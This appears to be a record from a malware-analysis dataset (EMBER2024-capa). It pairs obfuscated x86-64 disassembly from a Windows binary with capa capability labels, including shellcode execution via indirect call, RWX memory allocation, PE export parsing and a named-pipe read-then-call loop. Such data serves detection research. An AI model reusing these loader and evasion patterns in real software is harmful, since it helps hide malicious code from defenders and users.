joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140074d7b
Capabilities:
Encode data using xor

Disassembly:
pushfq
add qword [rsp + 0x10], 0xfffffffffffc563f
movabs rbx, 0x3eacec8b158a2b2b
cmp rbx, 0x1e8eda36
push r11
jge 0x1400d0bb5
shr word [rsp + r11 - 0x7eaeffe5], 0xaf
xchg qword [rsp + rcx - 0x7eaefd59], rbx
mov rcx, qword [rsp + r11 - 0x7eaeffcd]
shr dword [rsp + r11 - 0x7eaeffed], 0x4e
shr r11b, 0xe1
add qword [rsp + r11 - 0x7eaeff66], 0xffffffffbff6353f
xor dword [rsp + r11 - 0x7eaeff76], 0x17261916
sub dword [rsp + r11 - 0x7eaeff76], 0xe9dcf25
mov r11, qword [rsp + r11 - 0x7eaeff4e]
setl byte [rsp + 8]
mov word [rsp + 8], 0x3c05
call fcn.1400ace13
jge 0x1400a45cf
test ecx, r11d
jno 0x1400a8c32
scasd eax, dword [rdi]
lea r10d, [r9]
cmp eax, 0xc74c49b
movabs al, byte [0x3c0bb9e971b50942]
adc al, 0x68
cwde
shr byte [rdx - 0x7b], 1
in eax, 0xe9
or dword [rbp - 0x1d], edx
mov al, 4
xor byte [rax + 0x156172f4], bh
fld qword [rcx - 0x4f]
fmul qword [rdi]
cmp dh, bl
jae 0x1400d0bde
push rdi
pop rdx
add dword [rax], eax
add byte [rax], al
and bl, cl
mov esi, 0xeeb3b558
or byte [rbp - 0x7d], al
jle 0x1400d0c3e
add eax, 0xade8fe43
sti
invalid
mov ecx, 0x98282077
sub al, 0xa4
pop rsi
mov ebp, 0xdd0dd1d9
movabs al, byte [0x15a57ea3f920c73]
add byte [rax], al
add byte [rbx], al
sub al, 0x91
movabs byte [0x1ab7d144525741f4], al
sbb al, 0x41
push rdi
adc dh, ah
sbb edi, edi
mov dl, 0x64
adc dword [rdi], edx
mov cl, byte [rcx + rsi*4 + 0x57]
invalid

Function at 0x1400787c1
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
add qword [rsp], 0xffffffffbff59e9a
call fcn.14000fdc6
not rbx
neg rbx
jle 0x14001460a
sete bl
js 0x1400787c4
mov rbx, qword [rsp + 0x18]
jbe 0x140014601

Function at 0x1400787f1
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
add di, di
jge 0x140085432

Function at 0x1400787fa
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
and word [rsp + rdi*2 - 0x1b349f2], 0x1898
lea rax, [rax + rdi - 0x68473162]
mov dil, byte [rsp + rdi*2 - 0x1b349ed]
push 0x3a38ec89
push r15
mov word [rsp + rdi*4 - 0x36693e8], 0xffaf
cmp byte [rsp + rdi*2 - 0x1b349e0], dil
js 0x14008dd8c
movsx di, dil
xchg qword [rsp + rdi - 0xd8ffc8], rax
mov rdi, qword [rsp + rdi - 0xd8ffd0]
mov r15, qword [rsp + 0x20]
add qword [rsp + r15*4 - 0x363ffe0], r15
shr qword [rsp + r15 - 0xd8fff8], 0xfb
jb 0x1400bb568
mov r15, qword [rsp + r15 - 0xd90000]
call fcn.140059df1
movabs rdx, 0x38a8e02cd16ff90
not dx
mov dl, dh
or edx, edx
mov rdx, qword [rsp + 8]
movabs rdi, 0x7229ab33358efcba
lea rdi, [rdi + rdi*2 + 0x642299a9]
shr di, 0x3a
call fcn.140069040
add qword [rsp], 0xfffffffffffff095
push rdi
neg rdi
setle byte [rsp]
mov rax, qword [rsp]
push r9
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
shr rdi, 0xa6
setb dil
mov qword [rsp + rdi*8 - 0x6cd27f8], rdi
jb 0x14006535a
pushfq
xchg qword [rsp + 8], rax
mov qword [rsp], rax
call fcn.1400beec7
Function at 0x14007be98
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
jne 0x1400c58d1
jae 0x140068a54
sbb cl, dl
movabs eax, dword [0x1bb849e7062bbe1a]
invalid
invalid
sbb edi, dword [rdx + 0x34]
invalid
pop rdi

Function at 0x14007ea0b
Capabilities:
Connect pipe
Read file on windows

Disassembly:
mov dx, 0xe32d
not edx
or rdx, 0x5a0a561b
shr rdx, 0x2a
mov qword [rsp + 0x18], rsi
or rdx, 0xffffffffc7811582
seta dl
jns 0x140075606
jno 0x1400aab54
or rdx, 0x4e91db94

Function at 0x14007ea41
Capabilities:
Connect pipe
Read file on windows

Disassembly:
add qword [rsp + 0x20], 0xfffffffffffe64be
call fcn.140049af4
invalid
add qword [rsp + 0x10], 0x392ec
add qword [rsp + 0x20], 0x18a37
mov r14, r8
shl r8, 0xbc
jne 0x1400022e1
sub r14w, 0x54ba
mov rbx, qword [rsp + r8 + 0x10]
mov rbx, qword [rbx + r14 - 0xab46]
jo 0x14008a9ed
jle 0x14006f6d6
jo 0x140053b89
test r8b, 0x30
push r10
not r8d
mov r10, r8
je 0x1400c6f03
cmovne r8d, dword [rsp + 0x19]
push rdi
test dword [rsp + 0x24], r8d
xchg qword [rsp + 0x60], rax
mov rbx, qword [rsp + 0x50]
jle 0x14008653d
or word [rsp + 0x20], 0xe5a9
call fcn.14006f786
and r8d, 0x9214deb6
mov qword [rsp + r8*8 - 0x6f588], rbx
setge r10b
push r14
lea r8, [r10 + r10*2 - 0x78e31d54]
setne r10b
movabs r14, 0x8036f9106999e300
push r12
add qword [rsp + 0x18], 0xa6052
movabs rbx, 0xed92b694a4b00494
call fcn.14007fa10
push rdi
call fcn.1400cf169

Function at 0x140086c75
Capabilities:
Connect pipe
Read file on windows

Disassembly:
jb fcn.140062771
push r9
movabs r9, 0x6d2124b7e285c507
jl 0x14007610f
add qword [rsp + 8], 0xcd2c4
sub dl, 0
movzx r9w, bpl
test ebp, 0xd109a4b3
not r13w
jno 0x14004a6d2

Function at 0x14008990d
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
add qword [rsp], 0xfffffffffffdb98b
push rsi
push r15
movabs rdx, 0xbf09e48569aef226
test r9w, r8w
mov rdx, qword [rsp + 0x10]
mov rdx, qword [rdx]
jbe fcn.1400b44a7
movabs r13, 0x5a0fabb091bf3999
movabs r15, 0xdc0e450f668c0839
not r13w
call fcn.140011573

Function at 0x14008ad29
Capabilities:
Connect pipe
Read file on windows

Disassembly:
neg r11w
jae 0x1400868d2
push rcx
call fcn.140098af3
shr dil, 0x2e
xor word [rsp + rdi - 0x822beb0], 0x700f
Function at 0x14008dd84
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rbp, qword [rsp + 0x18]
mov rbp, qword [rbp + r10*2 - 0x54c97d8a]
lea rcx, [r10 + rcx + 0x138906b0]
xor r10d, 0x218be438
or dl, 0x2b
mov dl, r9b
add cx, dx
jg 0x1400b253f
push rbp
push rcx
movabs rcx, 0x6b266d0bac06139a
movzx rcx, cx
pushfq
mov qword [rsp + 0x18], rdi
neg r9d
cmp byte [rsp + 0x18], 0x29
lea rax, [rax - 0x5e4d417a]
push rcx
je fcn.14009d9b7
jg 0x140008091
jne 0x140096a0d
xchg qword [rsp + 0x58], rax
mov r9, qword [rsp + 0x40]
add dil, dil
not qword [rsp + 0x28]
not edi
shl byte [rsp + 0x28], 0x34
mov dword [rsp + 0x28], edi
or qword [rsp + 0x28], rdi
js 0x1400ca385
mov rdi, qword [rsp + 0x50]
movabs rcx, 0x36a3038b73ac6623
setg byte [rsp + 0x20]
mov ecx, dword [rsp + 0x29]
mov rcx, qword [rsp + rcx - 0x709fd6df]
call fcn.1400a0b00
add qword [rsp + 0x18], 0xfffffffffff8d8a9
and dword [rsp + 0x28], edi
xor ecx, 0xfd1c77af
call fcn.140067eed
push rcx
mov bl, 0xe1
scasb al, byte [rdi]
scasb al, byte [rdi]
invalid

Function at 0x14008ddab
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
xchg qword [rsp + r13*2 - 0x2a01ff82], rdx
mov r13, qword [rsp + 0x58]
jbe 0x140001e78
sub byte [rsp + rcx - 0x1500ffe1], r11b
jo fcn.14004a043
ja 0x1400d4fe9
mov r11, qword [rsp + rcx*4 - 0x5403ffdc]
jb 0x1400b9412
push qword [rsp + rcx*2 - 0x2a01ff9a]
popfq
mov rcx, qword [rsp + rcx*4 - 0x5403ffcc]
lea rsp, [rsp + 0x70]
ret 8
pop rbp
call fcn.1400ddec4

Function at 0x140092009
Capabilities:
Authenticate hmac
Packed with generic packer

Disassembly:
shr si, 0x1b
and r11, rsi
lea rax, [rax + r11 - 0x69d21279]
neg r11w
add qword [rsp], 0xffffffffbff5963b
neg byte [rsp + r11*2 - 0x10fffff0]
shr word [rsp + r11*2 - 0x10fffff0], 0xf4
or si, word [rsp + 0x14]
xchg qword [rsp + r11 - 0x87fffd8], rax
mov r11, qword [rsp + 0x18]
test qword [rsp + 0x10], rsi
not sil
ja 0x1400da8de
movabs rsi, 0xa4b1d58538a6ca3c
setge r11b
lea r11, [r11 + rsi*8 + 0x78033a30]
and r11d, 0x7eb8f8a8
mov rax, qword [rsp + 0x10]
mov rax, qword [rax]
jns 0x1400a03ae
sub rax, 0x1dfb4600
push rax
mov ebx, 0x8b4d086d
mov r11, r14
jno 0x14001f34a
cmovge r14d, r11d
xchg qword [rsp + 0x58], rax
mov r15, qword [rsp + r11*2 - 0x6b14d21e]
xchg esp, eax
lea r11, [r11*8 + 0x5b9833ab]
add qword [rsp + 8], 0xfffffffffff379aa
test r14, 0x5b9cc28
call fcn.1400a51db
mov qword [rsp + 0x10], r11
jne 0x1400503b4
jrcxz 0x1400a036c
xor eax, esp
lodsb al, byte [rsi]
js 0x1400a0390
call 0x1a56f7507
adc dword [0xeccef0aa], 0x152b050
mov ch, 0x79
fyl2xp1
pop rbx
sbb byte [rsp + riz*2], bl
sub byte [rdx + rsi*8 + 0x15], bh
sub r9, r10
xor dword [rbx], 0xb1f46468
invalid
cmp dword [rsp + 0x10], esi
seto byte [rsp + 0x10]
cmp si, 0x3584
movabs rsi, 0x4790471e04bb1f16
jge 0x14006c600
shl byte [rsp + 0x10], 0x26
mov rsi, qword [rsp + 8]
call fcn.1400975ad
Function at 0x140098947
Capabilities:
Connect pipe
Read file on windows

Disassembly:
movabs r9, 0x859d3b187d8698ac
not r9
pushfq
neg r9d
neg r9w
xchg qword [rsp + r9 - 0x7d86672b], rax
mov r9w, 0x72b4
jle 0x1400d3fa3
push 0xfffffffffa05e2b1
add qword [rsp + r9 - 0x7d8672b4], 0xffffffff8f1fd98f
mov qword [rsp + 0x28], rax
neg byte [rsp + r9 - 0x7d8672b4]
setns byte [rsp + r9 - 0x7d8672b4]
call fcn.1400ad4a5
mov r8, qword [rsp + r11*2 + 0x58]
je 0x1400894f6
sub r8, 0x2003e4bd
call fcn.1400d72ec
shl r11b, 0x31
jne 0x1400bf694
mov r9, qword [rsp + r8 + 0x48]
jns 0x140060ba2
push rdx
pushfq
movabs rdx, 0x4cbd709d23147429
mov dl, 0xc
push r12
mov dx, 0x85b6
shl edx, 0xfd
mov rsi, qword [rsp + 0x20]
neg edx
mov r12, rdx
setae dl
xor dl, 7
cmp rdx, 0x46a7e8ab
mov r12b, 0xb6
lea rdx, [rdx + rdx*8 + 0x401f8d2d]
lea rsi, [rsi + r12 - 0x400000b5]
jg 0x14000743d
push r13
neg r12w
setno r12b
jle 0x1400b991a
lea rax, [rax + rdi - 0x1cc915e6]
jb 0x1400b53bc
add qword [rsp + 0x10], 0xffffffffbff853a0
push r9
or r11w, 0xaf9f
mov r9, qword [rsp + 0x40]
xchg qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x20]
not r11d
xor word [rsp + rdi*2 - 0x199b8], 0x52a1
not r11
call fcn.1400546f3
push rbx
call fcn.140057395
popfq
sub dword [rbx], eax
fisttp dword [rsi]
sar byte [rsp + rax*8], cl

Function at 0x14009a78a
Capabilities:
Connect pipe
Read file on windows

Disassembly:
push r13
neg r12d
jbe 0x1400c8e4a
add r11w, 0x203d
shl r11w, 0xed
mov bpl, 9
jns 0x14006b100
add qword [rsp], 0xfffffffffffe5502
cmp cl, 0x9a
movabs rax, 0xd335441905babf0b
push rcx
jno 0x140020f40
invalid

Function at 0x14009bbe2
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
jae 0x1400b5cc7
jmp 0x1400b1239

Function at 0x14009da5a
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
cmp r9d, 0xef3f2998
lea r9, [r9 + r9*2 + 0x152a91a6]
ja 0x140077387
movabs rdx, 0xe0298030ed210281
add qword [rsp + 0x28], 0xfffffffffff7442c
call fcn.140009677
and eax, 0x91c73bc3
jbe 0x14009dabc
sahf
sub bl, dl
mov byte [rbx + 0x3f], ah
cmp esp, ebx
movabs dword [0xeba05ad25a6e6e21], eax
push rdi
xchg edi, eax
xor ebx, dword [rbx + 0x4ede9601]
pop rbx
mov byte [rax + 0x55], cl
xor bl, al
add ah, byte [rsi + 0x19]
xchg edx, edx
cwde
jbe 0x14009db0f
push 0xffffffffffffff8e
movsb byte [rdi], byte [rsi]
int3
jbe 0x14009db07
leave
invalid
pop rsi
std
test dword [rsi + rdi*4 + 0x5ef194ad], ebp
pop rsi
nop
invalid

Function at 0x1400a4521
Capabilities:
Connect pipe
Read file on windows

Disassembly:
mov r14b, 0x91
je 0x140080a3e
jne 0x140085b18
push rbx
pushfq
movabs rbx, 0x21b74221ee31f81e
shr ebx, 0x6c
call fcn.140015ea0
Function at 0x1400ad861
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
popfq
lea rsp, [rsp + 0x78]
ret
setb r8b
setle dil
mov rsi, r10
mov r14, r10
push r10
mov rsi, qword [rsp + rsi - 0x4e980c12]
mov rsi, qword [rsi]
mov qword [rsp + 0x10], r10
mov r9, r14
shl byte [rsp + 0x50], 0xb1
push r15
cmp word [rsp + 0x58], r12w
xchg qword [rsp + 0x78], rax
mov r12, qword [rsp + 0x60]
jge 0x140082003
call fcn.1400a72be
cmp eax, 0x85c53d59
push qword [rcx + rdx*4]
add qword [rsp], 0x21c02
push r9
and r10w, 0x5e2f
jae 0x14009d9e3

Function at 0x1400b09e2
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
setbe r12b
xchg qword [rsp + r12*2 - 0x6e281be8], rsi
sub r12w, 0x94b7
sub r12d, r12d
shr r12b, 0x37
push rdi
push rbx
jne 0x1400cf565
je 0x1400b6f4d
jo 0x140058771
mov rbp, qword [rsp + 0x10]
mov rbp, qword [rbp + riz]
xor bx, 0xbd20
shl cl, cl
call fcn.140007a8d
je 0x14001b62b
shr byte [rsp + 0x68], 0xe3
not qword [rsp + 0x68]
mov word [rsp + 0x68], 0xe1a7
call fcn.1400b0fe4
stosb byte [rdi], al
or dword [rbx], 0xbcd9919d
push 0x14a563b
or byte [rbx], al
add byte [rax], cl
movabs byte [0xc6e800005002d004], al
call 0x14006f3d3
invalid
invalid
jl 0x140062135
or eax, 0x40195e8
add byte [rax - 0x7f], cl
invalid
invalid
je 0x14006213f
pop rax
and eax, 0xf201eaf
test byte [rbp + 0x66000065], al
and dword [rsp + 0x58], 0x9d0feaa2
and al, 0x58
or byte [rsp + 0x58], 5
add qword [rsp], 0xffffffffbff9643e
push qword [rsp + 0x50]
pop rax
add eax, 0x24448148
add byte [rsi], bh
stc
mov edi, 0x502474ff
popfq
lea rsp, [rsp + 0x60]
ret
setle r11b
lea r8, [r8*4 + 0x1e8e0db1]
mov qword [rsp + 0x10], r14
add r8b, byte [rsp + 0x12]
xor si, r14w
call fcn.14007d513
pop rdx
call fcn.1400862a6
invalid
jbe 0x1400209b4
mov r9, qword [rsp + 0x48]
sub word [rsp + 0x68], 0xe028
test qword [rsp + 0x68], 0x5fb0211d
jge 0x1400620d5
jge 0x14006e3eb
xchg qword [rsp + 0x40], rcx
mov r14, qword [rsp + 0x28]
call fcn.14001c877
mov rcx, qword [rsp + 0x20]
shr dword [rsp + 0x28], 0xd4
call fcn.1400a6306
mov r12, qword [rsp + r12*2 + 0x20]
mov qword [rsp + 0x20], rsi
call fcn.1400cc8d4
jns 0x140094a28

Function at 0x1400b1cd6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping
Resolve function by parsing pe exports

Disassembly:
pushfq
add qword [rsp + 8], 0xfffffffffffb1a6e
movabs rbx, 0xa5154903c78aea8f
lea rbx, [rbx + rbx - 0x4d5f1959]
neg bx
movabs rbx, 0x2e0aea1b08832cb2
xor ebx, 0x16a8fb0c
sub ebx, 0x8009bcb5
mov rbx, qword [rsp + 8]
mov rbx, qword [rbx]
ja 0x1400c7815
jle fcn.140058394
je 0x1400020c1
mov qword [rsp + 8], 0x77b20faa

Function at 0x1400b44d6
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push r11
jb 0x140085734
jge 0x14000d0d5

Function at 0x1400b44dc
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
cmp r12b, r14b
call fcn.1400096a0
mov rsi, qword [rsp + rdx - 0x6128ffc0]
mov rsi, qword [rsi + r14 - 0x61290027]
jae 0x1400908b5
Function at 0x1400b5278
Capabilities:
Authenticate hmac
Packed with generic packer

Disassembly:
pushfq
add qword [rsp + 0x18], 0xffffffffbff6127d
neg word [rsp + 0x10]
xchg qword [rsp + 0x20], rbx
js 0x140063a38
lea r11, [r11 + r11*4 + 0xf3a160f]
call fcn.1400d8bf3

Function at 0x1400c015d
Capabilities:
Connect pipe
Execute shellcode via indirect call
Read file on windows
Resolve function by parsing pe exports

Disassembly:
setne r14b
js 0x14009075d

Function at 0x1400c0173
Capabilities:
Connect pipe
Execute shellcode via indirect call
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov rsi, qword [rsp + rsi + 0x18]
call fcn.1400cf247
sub dword [rbx + 0xb], esp
invalid
call fcn.1400d2754
sub bl, byte [rsp + 0x15]
jle 0x1400b251f
mov rbx, qword [rsp + 0x28]
mov rbx, qword [rbx]
mov r14, qword [rsp + 0x10]
setns r10b
jne 0x14005b757
neg r9
jns fcn.1400922c3
and qword [rsp + 0x28], rbx
mov r9b, 0x13
or byte [rsp + rbx*4 + 0x250], 0xb2
xor qword [rsp + rbx + 0xd0], rbx
mov byte [rsp + rbx*2 + 0x128], 0xb
mov r9, qword [rsp + 0x10]
mov bl, bh
sub byte [rsp + rbx*8 + 0x30], bl
add byte [rsp + rbx*2 + 0x52], 0x38
and qword [rsp + rbx*8 + 0x30], 0x5f027223
mov rbx, qword [rsp + rbx*4 + 0x1c]
add word [rsp + 0x50], 0x8a87
call fcn.140062117
cmp cl, ch
mov qword [rsp + 0x20], rcx
call fcn.1400577fb
or si, si
movsxd rsi, dword [rsp + rsi - 0x7fffa97e]
call fcn.140057cd2
add word [rsp + 0x30], 0x84bd
jo 0x140057cdd
call fcn.140020f90
lea rbx, [rbx + 1]
push r10
pushfq
movabs r10, 0x3187e3a8d49ac9af
push 0x38124d31
push r11
mov r11, r10
shr r10w, 0x86
mov qword [rsp + 0x30], rbx
sub qword [rsp + 8], 0x5e991e1f
add r11b, r10b
and byte [rsp + 8], r11b
xor r11b, 0xbc
setne r10b
add qword [rsp + 0x20], 0xfffffffffff78175
add r10b, r10b
push r14
mov rbx, r10
jae 0x140069b42
mov r8d, r12d
jne 0x140068a2d
neg cx
cmp cl, 0x9e
mov qword [rsp + 0x38], rdi
movsx ecx, cx
jns 0x1400a9dc0
add qword [rsp + 0x18], 0x34bec
sub dil, 0x32
shl r15, 0xf7
lea r15, [rdi + r15*4 + 0x5db62892]
mov rbx, rdi
or ebx, ebx
call fcn.1400a723e

Function at 0x1400c15c8
Capabilities:
Enumerate process modules

Disassembly:
xchg qword [rsp + r11 - 0x7c3e6461], rdi
mov r11, qword [rsp + r11 - 0x7c3e6489]
jae 0x14004df24
call fcn.1400d71e8
xchg esp, eax
and dword [rax], ecx
add al, 0
or byte [rbp + rax], dh
add al, 0x34
or eax, 0xf24e00
add byte [rax - 0xe], bh
add byte [rax], al
call 0x10f2d15cb
mov bh, 0x3b
xchg dword [rdx], esp
adc dword [rax - 0x153ebe9a], ebx
shr r10w, 0xd3
mov qword [rsp + 8], 0x5a31a908
shr r12, 0x64
or r10b, 0x3f
shr r12d, 0x68
lea rdx, [rdx + r12*8 + 0x4ae47a9]
je 0x1400643ea
add qword [rsp], 0xffffffffbff2f9e9
mov qword [rsp + 0x28], r10
call fcn.14008fb79
pop rsi
invalid

Function at 0x1400c2210
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports
Terminate process

Disassembly:
movsx rdi, byte [rsp + 0x10]
xor word [rsp + rbp - 0x3bf0fc6d], r13w
shl bp, 0x59
mov rdi, qword [rsp + rdi*2 + 0xf2]
jne 0x14009da48
setne r13b
lea rsp, [rsp + 0x18]
ret 0x10
Function at 0x1400c35bd
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
xor r8d, edx
setle r9b
not r9w
mov ecx, edx
bswap r9w
rol r8d, cl
add r8d, dword [r10 - 0x14]
mov ecx, r8d
and r9b, 0x38
shl r9b, cl
mov r9d, r8d
xor r9d, edx
cmc
jmp 0x140088e00
rol r8d, cl
test ebx, r10d
add r8d, dword [r10 - 0xc]
cmc
jmp 0x1400c58e9
jne 0x1400c2c61
mov eax, r8d
test si, dx
mov ecx, r9d
shl rax, 0x20
cmp r12, r13
or rax, rcx
jmp loc.140001131
rol r9d, cl
dec cl
rcl cx, cl
add r9d, dword [r10 - 0x10]
adc cx, 0xed9e
btr rcx, 0xb0
rol cx, 0x3e
xor r8d, r9d
mov ecx, r9d
jmp 0x140067c75
shr r8, 0x20
mov r11d, 3
rcr r9w, 9
add r9w, 0x701d
lea r9d, [rdx + rax]
add r8d, dword [rcx + 4]
xchg cl, cl
xor al, dil
nop
stc
movzx ecx, di
mov ecx, r8d
shl dl, cl
mov eax, r8d
bsf dx, r8w
add r10, 0x28
and dx, r10w
cmp r15w, r12w
btr dx, 0x1d
xor eax, r9d
xchg r9w, dx
movsx edx, bp
rol dx, cl
rol eax, cl
xor cx, bx
btr rdx, r14
add eax, dword [r10 - 0x30]
xchg edx, ecx
movsx ecx, si
xor r8d, eax
cwd
mov ecx, eax
clc
rol r8d, cl
stc
btr cx, 0x8a
add r8d, dword [r10 - 0x2c]
cmp r8w, 0x8dae
or cl, r12b
btc dx, 0x8e
mov ecx, r8d
test r13d, edi
adc dl, 0xb
mov edx, r8d
xor edx, eax
btc rax, 1
rol edx, cl
mov cl, r8b
add edx, dword [r10 - 0x28]
cmp rdx, rax
xor r8d, edx
rcr r9b, cl
mov ax, r9w
not ax
mov ecx, edx
rol r8d, cl
add r8d, dword [r10 - 0x24]
bts ax, cx
mov ecx, r8d
rol al, 0x9a
mov eax, r8d
bts r9w, bp
xor eax, edx
cmc
movsx edx, di
xchg r9w, r9w
rol eax, cl
dec cl
clc
add eax, dword [r10 - 0x20]
cmc
shl rdx, 0x8c
bsf dx, r9w
xor r8d, eax
btr r9w, r12w
bt r9, 0x8d
movzx r9, r11w
mov ecx, eax
rol r8d, cl
clc
cwd
and ecx, 0x6332cd2b
add r8d, dword [r10 - 0x1c]
and r9, rsp
mov ecx, r8d
cmovg dx, sp
mov edx, r8d
shl r9w, cl
test dl, al
movsx r9, r12w
xor edx, eax
bswap r9w
rol edx, cl
or cl, r10b
add edx, dword [r10 - 0x18]
shl ch, 0x15
jmp 0x14005a19b
mov rbp, qword [rsp + 0x10]
call fcn.140096fc9
test dh, 0xbb
mov r8, rdx
lea r10, [rcx + 0x10]
jmp 0x1400c2c3a
sub r11, 1
jmp 0x14007a2af

Function at 0x1400c466f
Capabilities:
Authenticate hmac
Packed with generic packer

Disassembly:
push rsi
jae 0x140063a5a
add qword [rsp + 0x20], 0x1e3c7
mov r10w, 0xd8a9
mov rsi, r10
mov rdx, r10
shl dx, 0x93
call fcn.14001b590

Function at 0x1400c8ebc
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
jb 0x1400b6807
and dword [rsp + r13 - 0x48361943], esi
test word [rsp + rsi*4 + 0x44ac186c], 0xe806
call fcn.1400a22c1
jb 0x1400cd4df
mov r13d, 0x4836198b
test word [rsp + r13 - 0x48361943], 0xe293
mov rdx, qword [rsp + rsi*2 + 0x22560c6a]
jge 0x1400be907
movabs rbx, 0x3ab7714373fc7a3
cmp rbx, 0x7282892f
call fcn.1400de745

Function at 0x1400c9e7c
Capabilities:
Encode data using xor

Disassembly:
movsxd r12, ecx
mov r10, qword [rsp + 0x10]
call fcn.14008c4de
Function at 0x1400ca559
Capabilities:
Connect pipe
Read file on windows

Disassembly:
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x1400022fd
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002308
cmp dword [rsp + 0x48], 4
jne 0x140002308
mov ecx, dword [rsp + 0x50]
mov rdx, rbx
call rdi
jmp 0x140002308
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
jmp 0x1400022b9
js 0x140058703
add ebp, 0xf4084087
jae 0x14007b1a3
not rbp
mov rbp, qword [rsp + rbp*2 + 0x3ebf2c82]
call fcn.140068aa2
push rbx
mov qword [rsp + rbx*4 - 0x55aff310], rsi
and di, 0xf89
call fcn.14009909c
mov rsi, qword [rsp + 0x18]
mov rsi, qword [rsi]
je 0x14009ffd1
shl di, 0x68
and di, di
shl edi, 0xe2
ja 0x14000230b
ja fcn.1400bc305
lea rsi, [rsi + rdi - 0x17d2925d]
call fcn.1400969dd
mov qword [rsp + 0x28], rsi
jl 0x14006f635
lea rax, [rax - 0x12d2024b]
add qword [rsp + 0x10], 0xffffffffbff894e7
call fcn.140012720
pushfq
xor r13, r13
mov rax, qword [rsp + r13*2 + 0x28]
movabs rdx, 0x1d89849381a1f49c
add qword [rsp + r13*2 + 0x18], 0xffffffffffff841b
push r13
add r13, r13
setne byte [rsp]
lea rax, [rax + 1]
shl word [rsp + r13], 0x67
lea r13, [rdx*2 - 0x6ae00d4b]
cmp r13, qword [rsp]
push r10
not dword [rsp + 8]
jo 0x14009a277
shl r13, 0x9e
mov qword [rsp + 0x38], rax
push rdx
jae 0x14000ce10
shl dl, 0x83
movabs r10, 0xf330ab1c8204c738
mov r13, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x20]
push qword [rsp + 0x18]
popfq
mov r10, qword [rsp + 8]
lea rsp, [rsp + 0x30]
ret
not r14w
cmove r14w, word [rsp + 0x1e]
mov rbp, qword [rsp + 0x48]
cmp cx, 0x252a
setno r14b
add qword [rsp + rcx - 0x1a0890f0], 0xffffffffbff5ffcb
lea r14, [r14*2 - 0x7aec5b74]
mov rcx, qword [rsp + rcx - 0x1a0890a8]
not r14d
call fcn.1400c02b6
mov r9, qword [rsp + 0x28]
sub r14b, 0x26
lea r14, [r8*8 + 0x4aca9b3]
pop r14
bswap r8
shl r8b, 0x53
neg r8
mov r8d, 0xbf0647bd
mov r8, qword [rsp]
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x40]
ret
or dword [rsp + 0x38], 0x2a94fa11
call fcn.1400699f6
insb byte [rdi], dx
invalid
jne 0x14008bfe2
sub qword [rsp + 0x68], 0xffffffff869050a2
add qword [rsp + 0x58], 0xffffffffbff29e60
add dword [rsp + 0x98], 0x683ef686
jae 0x14007d57c
push qword [rsp + 0xa0]
popfq
lea rsp, [rsp + 0xb8]
ret
xor qword [rsp + 0x98], 0x5a93b500
jae 0x14009b49a
not r9b
jge 0x140064c1e
call fcn.1400dc4bc
Function at 0x1400cee22
Capabilities:
Encode data using xor

Disassembly:
add byte [rdx + rdi - 0x64], al
xor al, 0xc7
fdiv st(7), st(0)
dec dword [rdi]
mov fs, word [rax + 0x66fffac1]
or edi, 0xd240133f
out 0x48, al
add dword [rsp + 0x48], 0xbff2c657
sub dword [rdx - 0x72], ebx
mov bh, 0xe8
movabs al, byte [0x9274ac814afffa35]
invalid
invalid
lodsb al, byte [rsi]
je 0x1400cedfc
pop rsi
adc al, 0xa1
invalid
sub qword [rsp + r14*2 - 0x5eeba16e], 0xfffffffffe1f0f3f
sub r8w, r14w
jns 0x1400b562e
sbb dword [rbx], edx
push rdi
outsd dx, dword [rsi]
jrcxz 0x1400cee5c
jno 0x1400cee21
dec byte [rdx + 0x7358f6c2]
outsd dx, dword [rsi]
fild qword [rbx - 9]
add esi, esp
mov esi, 0x48aa4aa6
ja 0x1400ceefd
sbb ebp, ebx
mov bh, 1
cmp dl, byte [rsi]
jl 0x1400ceece
invalid
push rbx
je 0x1400cee5f
push rbp
sbb al, byte [rax]
add byte [rax], al
and byte [rsi], 0x11
pop rbp
invalid
sub ch, byte [rdx + 0x55]
cmp dh, byte [rax + rbx*2 - 0x2f]
enter 0xffffffffffff855c, 0xffffffffffffff84
scasd eax, dword [rdi]
invalid

Function at 0x1400cf52d
Capabilities:
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
popfq
lea rsp, [rsp + 0x48]
ret
lea r14, [rsi*8 + 0x812c0bb]
xchg qword [rsp + 0x58], rcx
mov r14, qword [rsp + 0x10]
seta byte [rsp + rsi*2 - 0x7c414dda]
call fcn.14001e024
shl word [rsp + r14 - 0x5f9e4f94], 0xb
